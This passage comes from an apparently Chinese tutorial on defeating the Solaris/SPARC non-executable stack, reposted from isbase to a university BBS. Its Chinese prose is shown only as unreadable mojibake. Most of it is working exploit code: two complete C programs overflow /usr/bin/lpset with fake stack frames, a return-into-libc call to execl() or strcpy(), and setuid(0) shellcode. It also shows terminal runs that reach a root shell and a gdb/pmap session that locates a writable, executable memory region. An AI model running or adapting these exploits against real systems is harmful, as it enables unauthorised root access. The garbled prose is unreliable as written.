        char *pattern;

        long sh_addr, i, sp_addr,fp_addr, fp2_addr;
        long bufsize=BUFSIZE, offset=OFFSET,  patternsize ;
        long  *addrptr;

        if( argc > 1 ) offset = atoi(argv[1]);
        if( argc > 2 ) bufsize = atoi(argv[2]);

        /* get plat info  */
        sysinfo(SI_PLATFORM,plat,256);

        sp_addr = (get_sp() | 0xffff) & 0xfffffffc;
        /* fp2_addr must be valid stack address */
        fp2_addr = (sp_addr & 0xfffffac0);

        /* get shell string address */
        sh_addr =  sp_addr - strlen(VULPROG) - offset - strlen(plat)  -
strlen(SHELL) -2 ;
        /* get our fake frame address */
        fp_addr = sh_addr  - 8*8 -1;

        printf("Usages: %s  <offset> <bufsize>  \n", argv[0] );
        printf("Using SHELL address = 0x%x  ,FP address = 0x%x, Offset = %d,
Bufsize = %d\n",
                 sh_addr, fp_addr, offset, bufsize );

        if (!(handle=dlopen(NULL,RTLD_LAZY)))
        {
          fprintf(stderr,"Can't dlopen myself.\n");
          exit(1);
        }

        if ((execl_addr=(long)dlsym(handle,"execl"))==NULL)
        {
          fprintf(stderr,"Can't find execl().\n");
          exit(1);
        }

        /* dec 4 to skip the 'save' instructure */
        execl_addr -= 4;
        /* check if the exec addr includes zero  */
        if (!(execl_addr & 0xff) || !(execl_addr * 0xff00) ||
          !(execl_addr & 0xff0000) || !(execl_addr & 0xff000000))
        {
          fprintf(stderr,"the address of execl() contains a '0'. sorry.\n");
          exit(1);
        }

        printf("found execl() at 0x%lx\n",execl_addr);


        patternsize = bufsize + 4*4 + 16*4 + 1;

        if((pattern = (char *)malloc(patternsize)) == NULL) {
           printf("Can't get enough memory!\n");
           exit(-1);
        }
        /* construct pattern buffer to overwrite the vul program */
        memset(pattern, 'C', patternsize );/* fill pattern buffer with garbage
*/
        memset(pattern+20, 0x3d, 1);  /* put '=' into buf, man lpset for why */
        addrptr = (long *) (pattern + bufsize + 4*4 );

        /* Let's overwrite caller function's saved stack frame
           I know it's ugly,but just make it more clearly .:)
         */

        /* saved %l0-%l7 */

        *addrptr++ = fp_addr;       /* %l0 */
        *addrptr++ = fp_addr;       /* %l1 */
        *addrptr++ = fp_addr;       /* %l2 */
        *addrptr++ = fp_addr;       /* %l3 */
        *addrptr++ = fp_addr;       /* %l4 */
        *addrptr++ = fp_addr;       /* %l5 */
        *addrptr++ = fp_addr;       /* %l6 */
        *addrptr++ = fp_addr;       /* %l7 */

        /* saved %i0-%i7 */
        *addrptr++ = fp_addr;       /* %i0 */
        *addrptr++ = fp_addr;       /* %i1 */
        *addrptr++ = fp_addr;       /* %i2 */
        *addrptr++ = fp_addr;       /* %i3 */
        *addrptr++ = fp_addr;       /* %i4 */
        *addrptr++ = fp_addr;       /* %i5 */
        *addrptr++ = fp_addr;       /* saved %fp(%i6) */
        *addrptr++ = execl_addr;    /* saved ret addr (%i7) */


        /* now we set up our fake stack frame */

        addrptr=(long *)fakeframe;

        *addrptr++= 0x12345678; /* you can put any data in  local registers */
        *addrptr++= 0x12345678;
        *addrptr++= 0x12345678;
        *addrptr++= 0x12345678;
        *addrptr++= 0x12345678;
        *addrptr++= 0x12345678;
        *addrptr++= 0x12345678;
        *addrptr++= 0x12345678;

        *addrptr++=sh_addr;      /* points to our string to exec */
        *addrptr++=sh_addr;      /* argv[1] is a copy of argv[0] */
        *addrptr++=0x0;          /* NULL for execl();  &fakeframe[40] */
        *addrptr++=fp2_addr;     /* &fakeframe[44] */
        *addrptr++=fp2_addr;
        *addrptr++=fp2_addr;
        *addrptr++=fp2_addr;     /* we need this address to work  */
        *addrptr++=fp2_addr; /* cause we don't need exec another func,so put
garbage here */
        *addrptr++=0x0;

        /* Construct fake frame in environ */
        /* sh_addr|sh_addr|0x00000000|fp2|fp2|fp2|fp2|fp2|0x00|/bin/ksh|0x00 */
        env[0]=(fakeframe);     /* sh_addr|sh_addr|0x00                       */
        env[1]=&(fakeframe[40]);/*                     |0x00                  */
        env[2]=&(fakeframe[40]);/*                          |0x00             */
        env[3]=&(fakeframe[40]);/*                               |0x00        */
        env[4]=&(fakeframe[44]);/*
|fp2|fp2|fp2|fp2|fp2*/
        env[5]=SHELL;           /* shell strings */
        env[6]=NULL;

          /* adjust pattern size by printer length */
        execle(VULPROG, VULPROG,"-n","fns","-a"
                , (pattern+strlen(PRINTER)-4), PRINTER,NULL,env);

}
--------------------------------------------------------------------------------
-

   ÔÙÀ´²âÊÔһϣº

bash-2.03$ gcc -o lpset_nonexec lpset_nonexec.c -ldl
bash-2.03$ ./lpset_nonexec
Usages: ./lpset_nonexec  <offset> <bufsize>
Using SHELL address = 0xffbeffd1  ,FP address = 0xffbeff90, Offset = 4, Bufsize
= 944
found execl() at 0xff30da9c
# id
uid=100(warning3) gid=1(other) euid=0(root) <---- ³É¹¦ÁË!

   ×¢Ò⣺

   ÔÚ²»Í¬µÄϵͳÉÏ(Ö÷ÒªÊÇÓ²¼þƽ̨²»Í¬)£¬offsetµÄÖµ¿ÉÄÜÓв»Í¬£¬ÐèÒª×öһЩµ÷Õû.


   3.6  ÀûÓÃstrcpy()¿½±´shellcode

   Èç¹ûÄãÈÔÈ»·ÇÒªÓÃsetuid(0),È»ºóÖ´ÐÐexecl()µÄ°ì·¨£¬ÎÒÃÇÔÙ½éÉÜÒ»ÖÖ·½·¨£¬ÀûÓÃ
   strcpy()½«ÎÒÃǵÄshellcode¿½±´µ½ÄÚ´æÖеÄijЩ¿ÉдµÄ²¿·ÖÈ¥£¬È»ºóÌøµ½ÄÇÀïÈ¥Ö´ÐС£
   ÎÒÃǵÄ×ö·¨Êǽ«ÎÒÃǵÄshellcode·Åµ½»·¾³±äÁ¿ÖУ¬ÆðʼµØÖ·×÷Ϊstrcpy()µÄÔ´µØÖ·£¬
   strcpy()µÄÄ¿µÄµØÖ·¿ÉÒÔÔÚ¿Éд¿ÉÖ´ÐеķǶÑÕ»¿Õ¼äÖÐÕÒ£¬È»ºó½«¼ÙÕ»Ö¡ÖеÄ%i7ÓÃÕâ
   ¸öÄ¿µÄµØÖ·´úÌæ¡£ÕâÑù£¬µ±strcpy()Íê³É¿½±´ºó£¬³ÌÐò¾ÍÌøµ½(Ä¿µÄµØÖ·+8)´¦Ö´ÐÐ
   £¨ÔÚshellcodeÇ°Ãæ¼Ó¼¸¸öNOPÖ¸Áî¼´¿É)¡£
   ÕâÀï±È½ÏÂé·³µÄÊÇÔõôÕÒÕâ¸öÄ¿µÄµØÖ·£¬Solaris ÌṩÁ˼¸¸öÏÔʾ½ø³ÌÄÚ´æÐÅÏ¢µÄ³ÌÐò
   ÔÚ/usr/proc/binÏÂÃæ¡£/usr/proc/bin/pmap¿ÉÒÔÏÔʾ½ø³Ì¿Õ¼äµÄÓ³ÉäÇé¿ö¡£ÎÒÃÇ¿ÉÒÔ
   ÀûÓÃËüÀ´ÕÒµ½Ä¿µÄµØÖ·£º

bash-2.03# gdb lpset
GNU gdb 4.18
<......>
(gdb) b main
Breakpoint 1 at 0x10de0
(gdb) r
Starting program: /usr/bin/lpset
<.....>
(gdb)
ÔÚÁíÒ»¸öÖն˴°¿Ú²éÕÒlpsetµÄpid,È»ºóÔËÐÐpmap:

bash-2.03# ps -ef|grep lpset
    root 14439     1  0 22:56:33 pts/3    0:00 /usr/bin/lpset

bash-2.03# /usr/proc/bin/pmap 14439
14439:  /usr/bin/lpset
00010000      8K read/exec         /usr/bin/lpset
00020000      8K read/write/exec   /usr/bin/lpset
FF3B0000    120K read/exec         dev:136,0 ino:100273
FF3DC000      8K read/write/exec   dev:136,0 ino:100273 <--- ÕâÀïÊÇ¿Éд¿ÉÖ´ÐеÄ
FFBEC000     16K read/write          [ stack ]
total      160K
bash-2.03#

   ÎÒÃÇ¿ÉÒÔ½«DEST¶¨ÒåΪ0xff3dc0c0,ÔÚSolaris 2.6ÏÂÕâ¸öµØÖ·ÊDz»Ò»ÑùµÄ¡£

   3.7  Ò»¸öʵ¼ÊµÄÀý×Ólpset_nonexec1.c


   ÏÂÃæÊDzâÊÔ³ÌÐò£¬ºÍÇ°ÃæÄǸö²î±ð²»´ó£¬¾Í²»¶à˵ÁË£¬¿´¿´×¢ÊÍÓ¦¸Ã¾ÍÃ÷°×ÁË¡£

--------------------------------------------------------------------------------
-
/*                ---> lpset_nonexec2.c <---
* expoit for lpset in Solaris 2.6/7 sparc version with non-exec-statck feature.
* this exploit using strcpy() method.
* It is one test for writing exploits in Sparc to defeat non-exec statck,
* just for EDUCATIONAL purpose.:)
* tested in Solaris 2.6/7 /sparc.
* Usages:
*         gcc -o exn2 lpset_nonexec2.c -ldl
*         ./exn2  <offset> <bufsize>
*                                               by warning3@hotmail.com
*                                                          y2k/05/05
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/systeminfo.h>
#include <unistd.h>
#include <dlfcn.h>

#define VULPROG "/usr/bin/lpset"
#define PRINTER "blah"

#define BUFSIZE 944         /* the size of overflowed buffer*/
#define EGGSIZE 1024        /* the egg buffer size */
#define NOP     0xaa1d4015  /* "xor %l5, %l5, %l5" */

#define OFFSET  4           /* if don't work ,try adjust offst to 0 - 5 */
#define DEST  0xff3dc0c0    /* in Solaris 7, the dest address that shellcode
was strcpyed */
                            /* in Solaris 2.6 , #define DEST  0xef7fa0a0   */

char shellcode[] = /* from scz's funny shellcode for SPARC */
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"   /* setuid(0)  */
"\x20\x80\x49\x73\x20\x80\x62\x61\x20\x80\x73\x65\x20\x80\x3a\x29"
"\x7f\xff\xff\xff\x94\x1a\x80\x0a\x90\x03\xe0\x34\x92\x0b\x80\x0e"
"\x9c\x03\xa0\x08\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc\xc0\x2a\x20\x07"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
"\x91\xd0\x20\x08\x2f\x62\x69\x6e\x2f\x73\x68\xff";

long get_sp(void)

{
        __asm__("mov %sp,%i0");
}


main( int argc, char **argv )

{

    char *env[3];
    char fakeframe[512];
    char plat[256];

    void *handle;
    long strcpy_addr, dest_addr=DEST;


   char *pattern,eggbuf[EGGSIZE];

   long sh_addr, i, sp_addr,fp_addr, fp2_addr;
   long bufsize=BUFSIZE, offset=OFFSET,  patternsize ;
   long  *addrptr;

   if( argc > 1 ) offset = atoi(argv[1]);
   if( argc > 2 ) bufsize = atoi(argv[2]);

   /* get plat info  */
   sysinfo(SI_PLATFORM,plat,256);

   sp_addr = (get_sp() | 0xffff) & 0xfffffffc;
   /* fp2_addr must be valid stack address */
   fp2_addr = (sp_addr & 0xfffffac0);
   /* get shell string address */
   sh_addr =  sp_addr - strlen(VULPROG) - offset - strlen(plat)  -
sizeof(eggbuf) -2 ;
   /* get our fake frame address */
   fp_addr = sh_addr  - 8*8 -1;


   printf("Usages: %s  <offset> <bufsize>  \n", argv[0] );
   printf("Using SHELL address = 0x%x  ,FP address = 0x%x, Offset = %d
           , Bufsize = %d\n", sh_addr, fp_addr, offset, bufsize );

   if (!(handle=dlopen(NULL,RTLD_LAZY)))
   {
     fprintf(stderr,"Can't dlopen myself.\n");
     exit(1);
   }

   if ((strcpy_addr=(long)dlsym(handle,"strcpy"))==NULL)
   {
     fprintf(stderr,"Can't find strcpy().\n");
     exit(1);
   }

   /* dec 4 to skip the 'save' instructure */
   strcpy_addr -= 4;
   /* check if the exec addr includes zero  */
   if (!(strcpy_addr & 0xff) || !(strcpy_addr * 0xff00) ||
     !(strcpy_addr & 0xff0000) || !(strcpy_addr & 0xff000000))
   {
     fprintf(stderr,"the address of strcpy() contains a '0'. sorry.\n");
     exit(1);
   }

   printf("found strcpy() at 0x%lx\n",strcpy_addr);
   printf("Use shellcode destination at 0x%lx\n",dest_addr);

   patternsize = bufsize + 4*4 + 16*4 + 1;

   if((pattern = (char *)malloc(patternsize)) == NULL) {
      printf("Can't get enough memory!\n");
      exit(-1);
   }
   /* construct pattern buffer to overwrite the vul program */
   memset(pattern, 'C', patternsize);/* fill pattern buffer with garbage */
   memset(pattern+20, 0x3d, 1);  /* put '=' into buf, man lpset for why */
   addrptr = (long *) (pattern + bufsize + 4*4 );

   /* Let's overwrite caller function's saved stack frame
      I know it's ugly,but just make it more clearly .:)
    */

   /* saved %l0-%l7 */

   *addrptr++ = fp_addr;       /* %l0 */
   *addrptr++ = fp_addr;       /* %l1 */
   *addrptr++ = fp_addr;       /* %l2 */
   *addrptr++ = fp_addr;       /* %l3 */
   *addrptr++ = fp_addr;       /* %l4 */
   *addrptr++ = fp_addr;       /* %l5 */
   *addrptr++ = fp_addr;       /* %l6 */
   *addrptr++ = fp_addr;       /* %l7 */

   /* saved %i0-%i7 */
   *addrptr++ = fp_addr;       /* %i0 */
   *addrptr++ = fp_addr;       /* %i1 */
   *addrptr++ = fp_addr;       /* %i2 */
   *addrptr++ = fp_addr;       /* %i3 */
   *addrptr++ = fp_addr;       /* %i4 */
   *addrptr++ = fp_addr;       /* %i5 */
   *addrptr++ = fp_addr;       /* saved %fp(%i6) */
   *addrptr++ = strcpy_addr;    /* saved ret addr (%i7) */


   /* now we set up our fake stack frame */

   addrptr=(long *)fakeframe;

   *addrptr++= 0x12345678; /* you can put any data in  local registers */
   *addrptr++= 0x12345678;
   *addrptr++= 0x12345678;
   *addrptr++= 0x12345678;
   *addrptr++= 0x12345678;
   *addrptr++= 0x12345678;
   *addrptr++= 0x12345678;
   *addrptr++= 0x12345678;

   *addrptr++=dest_addr;      /* destination address */
   *addrptr++=sh_addr;        /* source address of shellcode */
   *addrptr++=fp2_addr;
   *addrptr++=fp2_addr;
   *addrptr++=fp2_addr;
   *addrptr++=fp2_addr;
   *addrptr++=fp2_addr;     /* we need this address to work  */
   *addrptr++=dest_addr;    /* we will jump (dest_addr+8) to run */
   *addrptr++=0x0;
   memset(eggbuf,'A',EGGSIZE);   /* fill the eggbuf with garbage */
   for (i = 0; i < EGGSIZE; i+=4) /* fill with NOP */
   {
      eggbuf[i+3]=NOP & 0xff;
      eggbuf[i+2]=(NOP >> 8 ) &0xff;
      eggbuf[i+1]=(NOP >> 16 ) &0xff;
      eggbuf[i+0]=(NOP >> 24 ) &0xff;  /* Big endian */
    }
    /* Notice : we assume the length of shellcode can be divided exatcly by 4 .
       If not, exploit will fail. Anyway, our shellcode is. ;-)
     */
    memcpy(eggbuf + EGGSIZE - strlen(shellcode) , shellcode, strlen(shellcode));
   /* Construct fake frame in environ */
   env[0]=(fakeframe);     /* dest_addr|sh_addr|fp2|fp2|fp2|fp2|fp2|dest_addr */
   env[1]=eggbuf;
   env[2]=NULL;

     /* adjust pattern size by printer length */
   execle(VULPROG, VULPROG,"-n","fns","-a"
           , (pattern+strlen(PRINTER)-4), PRINTER,NULL,env);

} /* end of main */
--------------------------------------------------------------------------------
----------
²âÊÔһϣº

bash-2.03$ gcc -o exn2 lpset_nonexec2.c -ldl
bash-2.03$ ./exn2
Usages: ./exn2  <offset> <bufsize>
Using SHELL address = 0xffbefbd9  ,FP address = 0xffbefb98, Offset = 4, Bufsize
= 944
found strcpy() at 0xff2b6960
Use shellcode destination at 0xff3dc0c0
sh: C: not found
# id
uid=0(root) gid=1(other)      <---- ³É¹¦£¡



4. ½áÊøÓï

   ÉÏÃæÖ»ÊǽéÉÜһЩ»ù±¾µÄ·½·¨ºÍ˼·£¬ÔÚʵ¼ÊÓ¦ÓõÄʱºò£¬»¹¿ÉÄÜ»áÅöµ½ºÜ¶àÎÊÌâ¡£
   ÀýÈ磬ÓÐЩÇé¿öÏ£¬%i0-%i5µÄÖµÊDz»ÄÜËæ±ãÌîµÄ£¬·ñÔò½«µ¼Öº¯Êý²»ÄÜÕý³£·µ»Ø£¬
   Ö»ÄܾßÌåÇé¿ö¾ßÌå·ÖÎö¡£±Ï¾¹ÕâÖ»ÊÇÈëÃÅÐÔÖʵÄÎÄÕ£¬Å׿éשͷ°ÕÁË¡£

   ¸ÐлÄÜ¿´µ½ÕâÀïµÄÅóÓÑ£¬Ð»Ð»ÄúµÄÄÍÐÄ.
   ¸Ðл5.1Õâô³¤µÄ¼ÙÆÚ£¬ÈÃÎÒÓÐʱ¼äдµã¶«Î÷¡£ :-)


5. ²Î¿¼ÎÄÏ×£º


[1]. <<Defeating Solaris/SPARC Non-Executable Stack Protection>>,horizon
<jmcdonal@unf.edu>
[2]. << ex_lpset.c Overflow Exploits( for Intel Edition )>>,The Shadow Penguin
Security
[3]. <<Understanding stacks and registers in the Sparc architecture(s)>>,Peter
Magnusson.
[4]. <<A Laboratory Manual for the SPARC >>,Arthur B. Maccabe,Jeff Vandyke

<<Íê>>




°æȨËùÓУ¬Î´¾­Ðí¿É£¬²»µÃתÔØ
»¶Ó­·ÃÎÊÎÒÃǵÄÕ¾µãhttp://www.isbase.com/
ÂÌÉ«±øÍŸøÄú°²È«µÄ±£ÕÏ





 ¹ØÓÚÎÒÃÇ   ºÏ×÷»ï°é   ÂÌÃËÔ¿¯   °²È«ÂÛ̳   ÏµÍ³Â©¶´   °²È«ÎÄÏ×   ¹¤¾ß½éÉÜ   ·þ
ÎñÏîÄ¿   ¿Í»§×¨Çø

--------------------------------------------------------------------------------

ÂÌÃ˼ÆËã»úÍøÂ簲ȫ¼¼ÊõÓÐÏÞ¹«Ë¾°æȨËùÓР  ÁªÏµ:isbase@isbase.net
&copy; 1999,2000 isbase Corporation. All rights Reserved.

--
¡î À´Ô´:£®BBS ÀóÔ°³¿·çÕ¾ bbs.szu.edu.cn£®[FROM: bbs@192.168.28.106]
--
¡ù ×ªÔØ:¡¤BBS ÀóÔ°³¿·çÕ¾ bbs.szu.edu.cn¡¤[FROM: bbs.szptt.net.cn]


[»Øµ½¿ªÊ¼] [ÉÏһƪ][ÏÂһƪ]

ÀóÔ°ÔÚÏßÊ×Ò³ ÓÑÇéÁ´½Ó£ºÉîÛÚ´óѧ Éî´óÕÐÉú ÀóÔ°³¿·çBBS S-TermÈí¼þ ÍøÂçÊéµê